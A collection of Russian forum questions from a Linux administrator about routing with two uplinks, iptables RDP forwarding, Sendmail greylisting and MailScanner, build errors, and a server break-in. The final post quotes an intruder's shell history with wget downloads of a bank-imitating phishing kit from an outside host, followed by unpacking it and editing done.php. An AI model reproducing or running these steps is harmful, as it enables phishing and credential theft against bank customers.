При перезагрузке сбрасываются (на другие DNS сервера) настройки в resolve.conf.

Система на базе ASPLinux с тремя сетевыми интерфейсами (+pppoe).

Никак не соображу из-за чего это происходит. Подскажите откуда могут браться DNS-сервера (и на каком этапе) в resolve.conf?

Добрый день.
Есть машина, с тремя интерфейсами: два внешних (eth0 и eth2) и один внутренний (eth1).

Интерфейс eth0 смотрит в интернет через ADSL-модем: на модеме поднимается pppoe, сам модем получает внешний ip 87.103.134.45, внутренний ip 192.168.1.1, а интерфейсу назначает ip 192.168.1.4.

Интерфейс eth2 смотрит в интернет посредством поднятия на нём pppoe (он получает внешний ip 94.137.204.194).

Вот что показывает ifconfig:
==============================
-bash-3.00# ifconfig
eth0 Link encap:Ethernet HWaddr 00:1E:0B:DB:DA:4A
inet addr:192.168.1.4 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::21e:bff:fedb:da4a/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:3212 errors:0 dropped:0 overruns:0 frame:0
TX packets:1302 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:342162 (334.1 KiB) TX bytes:107701 (105.1 KiB)
Interrupt:137

eth1 Link encap:Ethernet HWaddr 00:1E:0B:DB:DA:4B
inet addr:192.168.0.22 Bcast:192.168.0.255 Mask:255.255.255.0
inet6 addr: fe80::21e:bff:fedb:da4b/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:256278 errors:0 dropped:0 overruns:0 frame:0
TX packets:304202 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:39877449 (38.0 MiB) TX bytes:254102991 (242.3 MiB)
Interrupt:145

eth2 Link encap:Ethernet HWaddr 00:18:71:EB:AF:DC
inet addr:79.122.192.114 Bcast:79.122.192.115 Mask:255.255.255.252
inet6 addr: fe80::218:71ff:feeb:afdc/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:594919 errors:0 dropped:0 overruns:0 frame:0
TX packets:587381 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:358602982 (341.9 MiB) TX bytes:106473853 (101.5 MiB)
Base address:0xcc00 Memory:fdee0000-fdf00000

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:418099 errors:0 dropped:0 overruns:0 frame:0
TX packets:418099 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:67387314 (64.2 MiB) TX bytes:67387314 (64.2 MiB)

ppp0 Link encap:Point-to-Point Protocol
inet addr:94.137.204.194 P-t-P:10.10.0.13 Mask:255.255.255.255
UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1492 Metric:1
RX packets:30669 errors:0 dropped:0 overruns:0 frame:0
TX packets:33212 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:3
RX bytes:22066048 (21.0 MiB) TX bytes:3942458 (3.7 MiB)


==============================

Всё дело в том, что как только я запускаю pppoe на интерфейсе eth2 у меня второй IP (87.103.134.45, который висит на eth0) становится невидимым из-вне :-(

Вот настройки маршрутизации:
=========================
-bash-3.00# route
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
192.168.1.4 * 255.255.255.255 UH 0 0 0 eth0
10.10.0.13 * 255.255.255.255 UH 0 0 0 ppp0
192.168.1.0 * 255.255.255.0 U 0 0 0 eth0
192.168.0.0 * 255.255.255.0 U 0 0 0 eth1
169.254.0.0 * 255.255.0.0 U 0 0 0 eth2
default 10.10.0.13 0.0.0.0 UG 0 0 0 ppp0
=========================

Вот настройки iptables:
=======================
# Generated by iptables-save v1.3.5 on Mon Jul 17 00:19:22 2006
*nat
:PREROUTING ACCEPT [3000:299134]
:POSTROUTING ACCEPT [2089:165479]
:OUTPUT ACCEPT [2089:165479]

-A POSTROUTING -s 192.168.0.6 -j SNAT --to-source 94.137.204.194


COMMIT
# Completed on Mon Jul 17 00:19:22 2006
# Generated by iptables-save v1.3.5 on Mon Jul 17 00:19:22 2006
*mangle
:PREROUTING ACCEPT [31849:10761772]
:INPUT ACCEPT [31786:10757939]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [39665:9327957]
:POSTROUTING ACCEPT [39981:9402849]
COMMIT
# Completed on Mon Jul 17 00:19:22 2006
# Generated by iptables-save v1.3.5 on Mon Jul 17 00:19:22 2006
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [39665:9327957]
:RH-Firewall-1-INPUT - [0:0]
-A INPUT -j RH-Firewall-1-INPUT
-A RH-Firewall-1-INPUT -i lo -j ACCEPT
-A RH-Firewall-1-INPUT -i eth1 -j ACCEPT
-A RH-Firewall-1-INPUT -i eth0 -j ACCEPT

-A RH-Firewall-1-INPUT -i eth2 -j ACCEPT

-A RH-Firewall-1-INPUT -p icmp -m icmp --icmp-type any -j ACCEPT
-A RH-Firewall-1-INPUT -p ipv6-crypt -j ACCEPT
-A RH-Firewall-1-INPUT -p ipv6-auth -j ACCEPT
-A RH-Firewall-1-INPUT -d 224.0.0.251 -p udp -m udp --dport 5353 -j ACCEPT
-A RH-Firewall-1-INPUT -p udp -m udp --dport 631 -j ACCEPT
-A RH-Firewall-1-INPUT -p tcp -m tcp --dport 631 -j ACCEPT
-A RH-Firewall-1-INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A RH-Firewall-1-INPUT -p tcp -m state --state NEW -m tcp --dport 143 -j ACCEPT
-A RH-Firewall-1-INPUT -p tcp -m state --state NEW -m tcp --dport 110 -j ACCEPT
-A RH-Firewall-1-INPUT -p tcp -m state --state NEW -m tcp --dport 10000 -j ACCEPT
-A RH-Firewall-1-INPUT -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT
-A RH-Firewall-1-INPUT -p tcp -m state --state NEW -m tcp --dport 25 -j ACCEPT
-A RH-Firewall-1-INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
-A RH-Firewall-1-INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
-A RH-Firewall-1-INPUT -p udp -m state --state NEW -m udp --dport 137 -j ACCEPT
-A RH-Firewall-1-INPUT -p udp -m state --state NEW -m udp --dport 138 -j ACCEPT
-A RH-Firewall-1-INPUT -p tcp -m state --state NEW -m tcp --dport 139 -j ACCEPT
-A RH-Firewall-1-INPUT -p tcp -m state --state NEW -m tcp --dport 445 -j ACCEPT
-A RH-Firewall-1-INPUT -p tcp -m state --state NEW -m tcp --dport 2227 -j ACCEPT
-A RH-Firewall-1-INPUT -p tcp -m state --state NEW -m tcp --dport 2228 -j ACCEPT
-A RH-Firewall-1-INPUT -j REJECT --reject-with icmp-host-prohibited

##########################
-A FORWARD -d 192.168.0.1 -p tcp -m multiport --dport 3389 -j ACCEPT
-A FORWARD -s 192.168.0.1 -j ACCEPT

-A FORWARD -p tcp -m tcp --tcp-flags SYN,ACK SYN,ACK -m state --state NEW -j REJECT --reject-with tcp-reset
-A FORWARD -p tcp -m tcp ! --tcp-flags FIN,SYN,RST,ACK SYN -m state --state NEW -j DROP
-A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT


COMMIT
=======================

Подскажите, пожалуйста, почему пропадает интерфейс eth0? Как это можно исправить?

Заранее спасибо!

Добрый день.

Есть почтовый сервер на Sendmail с работающим milter-greylist (каждому отправителю сообщения предлагается попробовать ещё раз через 10 минут). Всё работает нормально только одна проблема -- невозможно отправить сообщение через этот сервер зарегистрированным пользователям.

Когда пользователь находится во внутренней сети (с IP 192.168.0.XX) всё в порядке, так как этот диапозон занесён в белый список greylisting'а. Но вот когда пользователь пробует отправить сообщение через наш сервер с внешнего IP-адреса (и из Microsoft Outlook), то тут наш сервер честно предлагает ему "попробовать ещё раз". Разумеется Outlook этого не делает, а сразу же присылает уведомление о невозможности доставки сообщения.

Появилась идея связать белый список greylisting'а с прохождением smtp-авторизации. Возможно ли это? Если да, то что для этого нужно? Т. е. если пользователь прошёл авторизацию, то он может отправлять сообщения без каких-либо таймаутов.

Необходимо разрешить доступ к одной из Windows машин в локальной сети.
Сеть подключена к Интернету через машину с ASPLinux.

В iptables выставил вот это:
-A PREROUTING -d наш.внешний.ip.адрес -p tcp -m multiport --dport 3389 -j DNAT --to-destination 192.168.0.1
-A POSTROUTING -s 192.168.0.1 -j SNAT --to-source наш.внешний.ip.адрес

-A FORWARD -d 192.168.0.1 -p tcp -m multiport --dport 3389 -j ACCEPT
-A FORWARD -s 192.168.0.1 -j ACCEPT

-A FORWARD -p tcp -m tcp --tcp-flags SYN,ACK SYN,ACK -m state --state NEW -j REJECT --reject-with tcp-reset
-A FORWARD -p tcp -m tcp ! --tcp-flags FIN,SYN,RST,ACK SYN -m state --state NEW -j DROP
-A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT

Но это не работает :-(. Подскажите в чём может быть дело? Нужно ли открывать этот порт (3389) в system-config-securitylevel?

В последнее время стал получать очень много (по 50 сообщений за день) спама, который выглядит как уведомление о прочтении (из Outlook).
Подозреваю, что это реальное уведомление. Т. е. спамеры рассылают свои сообщения ничего не подозревающим пользователям, а в тело сообщения вставляю запрос об уведомлении на мой адрес. Поэтому меня заваливает такими уведомлениями :-(

Как фильтровать такие письма (они отличаются по содержанию: есть на русском, на английском и т. п.)? Может быть для уведомлений добавляется какой-то специфичный заголовок (я его не нашёл)?

Сейчас установлен Sendmail+MailScanner+SpamAssasin+milter-greylist, но как я сказал письма всё равно доходят...

Что-то странное случилось с локалью. Например, простейший Perl скрипт выводит такое:

# perl -e '1'
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
LANGUAGE = "en_US",
LC_ALL = "en_EN",
LANG = "en_US.utf-8"
are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").

>>>

Установил себе (на ASPLinux) серверную часть АвтоГРАФа (http://www.tk-chel.ru/). Запускаю сервер и вижу, что всё работает.
Но работает только локально (т. е. я могу подключиться локально, в логах появляются записи и т. п.), но если я пробую подключиться к этому серверу с другой машины, то ничего не получается :-(
Вот что у меня есть сейчас:
Вот, что у меня сейчас:
[cmv@mail ~]# netstat -na|grep 222
tcp 0 0 0.0.0.0:2227 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:2228 0.0.0.0:* LISTEN

В конфиге iptables такие строчки (и этот конфиг в данный момент активен):
-A RH-Firewall-1-INPUT -p tcp -m state --state NEW -m tcp --dport 2227 -j ACCEPT
-A RH-Firewall-1-INPUT -p tcp -m state --state NEW -m tcp --dport 2228 -j ACCEPT

В чём может быть дело?

>>>

Поставил себе вчера SuSe 10.3 и никак не могу заставить монитор работать в родном разрешении 1680x1050. Видеокарта ATI Radeon X1650 Pro 512MB. Драйвера брал с диска Чипа.

Выполнил все рекомендации с этой страницы: http://linux.wordpress.com/2007/10/11/opensuse-103-amdati-drivers-installation/ -- не помогло :-(

>>>

Хочу установить Firefox из исходников (насколько я понял, только так я получу нужную версию XPCOM).
Запустил
127:~/mozilla# ./configure --enable-application=standalone --enable-default-toolkit=gtk2
127:~/mozilla# make

И получаю вот такую вот ошибку. Ума не приложу, что это может значить :-(. Что делать?

rm -f libipcdc.so
c++  -fno-rtti -fno-exceptions -Wall -Wconversion -Wpointer-arith -Wcast-align -Woverloaded-virtual -Wsynth -Wno-ctor-dtor-privacy -Wno-non-virtual-dtor -Wno-long-long -pedantic -fshort-wchar -pthread -pipe  -DNDEBUG -DTRIMMED -O -fPIC -shared -Wl,-z,defs -Wl,-h,libipcdc.so -o libipcdc.so  ipcdclient.o ipcService.o ipcModuleFactory.o ipcConnectionUnix.o       -Wl,--whole-archive ../../../../dist/lib/libipcdshared_s.a ../../../../dist/lib/libipcdlock_s.a ../../../../dist/lib/libtransmgr_s.a ../../../../dist/lib/libtransmgrcom_s.a  -Wl,--no-whole-archive -L../../../../dist/bin -L../../../../dist/lib  -L../../../../dist/bin -lxpcom -lxpcom_core  -L../../../../dist/bin -L../../../../dist/lib -lplds4 -lplc4 -lnspr4 -lpthread -ldl  -Wl,--version-script -Wl,../../../../build/unix/gnu-ld-scripts/components-version-script -Wl,-Bsymbolic -ldl -lm
ipcdclient.o: In function `nsTHashtable<nsBaseHashtableET<nsIDHashKey, nsRefPtr<ipcTargetData> > >::s_HashKey(PLDHashTable*, void const*)':
ipcdclient.cpp:(.text._ZN12nsTHashtableI17nsBaseHashtableETI11nsIDHashKey8nsRef
PtrI13ipcTargetDataEEE9s_HashKeyEP12PLDHashTablePKv[nsTHashtable<nsBaseHashtable
ET<nsIDHashKey, nsRefPtr<ipcTargetData> > >::s_HashKey(PLDHashTable*, void const*)]+0x19): undefined reference to `nsIDHashKey::HashKey(nsID const*)'
collect2: ld returned 1 exit status
make[3]: *** [libipcdc.so] Error 1
make[3]: Leaving directory `/root/mozilla/ipc/ipcd/client/src'
make[2]: *** [libs] Error 2
make[2]: Leaving directory `/root/mozilla/ipc/ipcd'
make[1]: *** [tier_9] Error 2
make[1]: Leaving directory `/root/mozilla'
make: *** [default] Error 2

>>>

Не могу установить модуль Mozilla::DOM. Вот результат:

127:~/.cpan/build/Mozilla-DOM-0.21# perl Makefile.PL
Package mozilla-xpcom was not found in the pkg-config search path.
Perhaps you should add the directory containing `mozilla-xpcom.pc'
to the PKG_CONFIG_PATH environment variable
No package 'mozilla-xpcom' found
Package firefox-xpcom was not found in the pkg-config search path.
Perhaps you should add the directory containing `firefox-xpcom.pc'
to the PKG_CONFIG_PATH environment variable
No package 'firefox-xpcom' found
Package mozilla-firefox-xpcom was not found in the pkg-config search path.
Perhaps you should add the directory containing `mozilla-firefox-xpcom.pc'
to the PKG_CONFIG_PATH environment variable
No package 'mozilla-firefox-xpcom' found
*** can not find package for any of (mozilla-xpcom >= 1.7, firefox-xpcom >= 1.0, mozilla-firefox-xpcom >= 1.0)
*** check that one of them is properly installed and available in PKG_CONFIG_PATH
 at Makefile.PL line 43

mozilla-dev у меня установлен, но в /usr/lib/pkgconfig нет mozilla-xpcom.pc. Плюс у меня установлены все эти пакеты:

127:~/.cpan/build/Mozilla-DOM-0.21# apt-cache search xpcom
libmozillainterfaces-java - XPCOM bindings for Java
libxul-common - Gecko engine library - common files
libxul-dev - Development files for the Gecko engine library
libxul0d - Gecko engine library
libxul0d-dbg - Development files for the Gecko engine library
python-xpcom - XPCOM bindings for Python
xulrunner - XUL + XPCOM application runner

Подскажите, где мне найти нужный XPCOM.

>>>

Поставил milter-greylisting и теперь мучаюсь :-(
В настройках стоит пятиминутный таймаут, но почта с Mail.Ru идёт целые сутки. Как с этим бороться?

>>>

Добрый день.
Столкнулся с такой проблемой: отправляю сообщение из Microsoft Outlook, а оно блокируется MailScanner'ом.
При этом в /etc/MailScanner/filename.rules.conf прописано:

allow	\.txt$			-	-

Получаю такое сообщение:
Our e-mail content detector has just been triggered by a message you sent:
  To: xxxxxxx@dom-irk.ru
  Subject: RE: от Жилфонд
  Date: Fri Oct 26 11:26:50 2007

One or more of the attachments (msg-1819-7.txt) are on the list of unacceptable attachments for this site and will not have been delivered.

Consider renaming the files to avoid this constraint.

The virus detector said this about the message:
Report: Report: MailScanner: No programs allowed (msg-1819-7.txt)

С чем это может быть связано? Никаких других правил (подходящих под это имя файла) не наблюдаю :-(

>>>

Добрый день.
Установлен milter-greylist. В настройках указана наша локальная сеть. Всё прекрасно работает, т. е. письма из локальной сети уходят без задержек, но осталась одна проблема.

Если подключаться к почтовику извне (с динамического IP-адреса), то milter естественно предлагает попробовать ещё раз через 5 минут. Но насколько я понял почтовые клиенты (MUA) не понимают этого. В результате у меня (в Outlook) просто приходит уведомление о том, что сообщение не удалось доставить.

Что делать?

>>>

Поставил себе milter-greylist и письма совсем перестали приходить.
Локальные сообщения приходят (те, что я отправляю из локальной сети в локальную). А вот извне не хотят (пробовал с Mail.Ru). При этом никаких дополнительных сообщений нет. Просто письмо как-будто бы ушло, но я его не получил.
Как с этим бороться?

>>>

[root@mail ~]# rpm -ivh fedora-usermgmt-0.8-4.fc5.noarch.rpm
warning: fedora-usermgmt-0.8-4.fc5.noarch.rpm: Header V3 DSA signature: NOKEY, key ID 1ac70ce6
error: Failed dependencies:
        instance(fedora-usermgmt) is needed by fedora-usermgmt-0.8-4.fc5.noarch
        setup(fedora-usermgmt) is needed by fedora-usermgmt-0.8-4.fc5.noarch

Это как? Если я правильно понимаю, то пакету не хватает какой-то части этого же пакета (instance, setup). Как побороть такую "зависимость"?

>>>

Установил связку Sendmail + MailScanner + Dovecot + Squirrelmail. Спама стало приходить намного меньше, но хочется большего.

Во-первых, есть письма, которые помечаются как возможный спам. Хочется каким-то образом обучить на них спам-фильтр, чтобы в следующий раз подобные сообщения признавались спамом. Как я могу обучить фильтр (наверно, Spamassassin)?

Во-вторых, хочется, чтобы сообщения признанные спамом удалялись (сейчас у них только меняется поле Тема:). Но удалялись не совсем, а чтобы они переносились в другой ящик (например, spam@myserver.ru). И чтобы у меня была возможность просмотреть их и в случае ошибочного срабатывания восстановить сообщение. Желательно иметь какое-то ограничение на время хранения. Допустим, через неделю письмо можно окончательно удалять.

Такое возможно? Что для этого нужно сделать?

>>>

Есть ли возможность подсчитать почтовый трафик (только входящий) для каждого пользователя? Система Sendmail + Dovecot.

Просто заметил, что у нас в месяц получается около 800Мб почтового трафика, сейчас он никак не контроллируется. И некоторые пользователи этим злоупотребляют (получают в день по несколько писем размером больше 8Мб).

>>>

Проблема такая: команда
#rm -f /usr/sbin/squid
выдаёт мне
rm: cannot remove `/usr/sbin/squid': Permission denied
при том, что выполняю её я из под root'а.

Я уже что только не пробовал (и chattr -i /usr/sbin и chattr -i /usr/sbin/squid) -- никакого эффекта. Подскажите в чём может быть дело, а то squid не хочет запускаться, я хочу его переустановить, но из-за этой ошибки не могу.

>>>

Sendmail + Cyrus-IMAPD (и ещё запущен spamassassin).
Не знаю что случилось, но не могу получить почту. Т. е. отправляю сам себе письмо, оно появляется в очереди (в /var/spool/mqueue), но почтовым клиентом я его получить не могу :-(.
Во внешний мир письма нормально уходят, т. е. не получаются только входящие сообщения.
Подскажите, как диагностировать причину.

Только что зашёл на свою машину через ssh и обнаружил, что последний сеанс был неизвестно откуда :-(
Вот последние выполненные команды (из history):
================================
982 cd /usr/include/
983 cat libssh.h
984 more libssh.h
985 cd /var/www
986 ls -all
987 cd html
988 ls
989 cat index.html
990 ftp
991 wget http://www.caldsl.com/~b1yamamoto/ww...ica.com.tar.gz
992 wget http://www.caldsl.com/~b1yamamoto/ww...ica.com.tar.gz
993 ftp
994 ls
995 tar zxvf www.bankofamerica.com.tar.gz
996 rm -rf
997 ls
998 cd http://www.bankofamerica.com/sslencr...nline_banking/
999 pico done.php
1000 nano done.php
================================

Первый вопрос: как? У меня нормальный пароль (10 случайных символов), сервисов никаких опасных вроде бы не запущено (но запущен iptables).
Правда я вчера запустил proftpd... Система конечно немного старовата -- FC5...
Второй вопрос: что делать?
С помощью этих команд, как я понял, мне залили фишинг страничку (её я уже удалил). Вопрос в том, что делать дальше?
Пароль сменил, proftpd остановил. Что ещё надо сделать?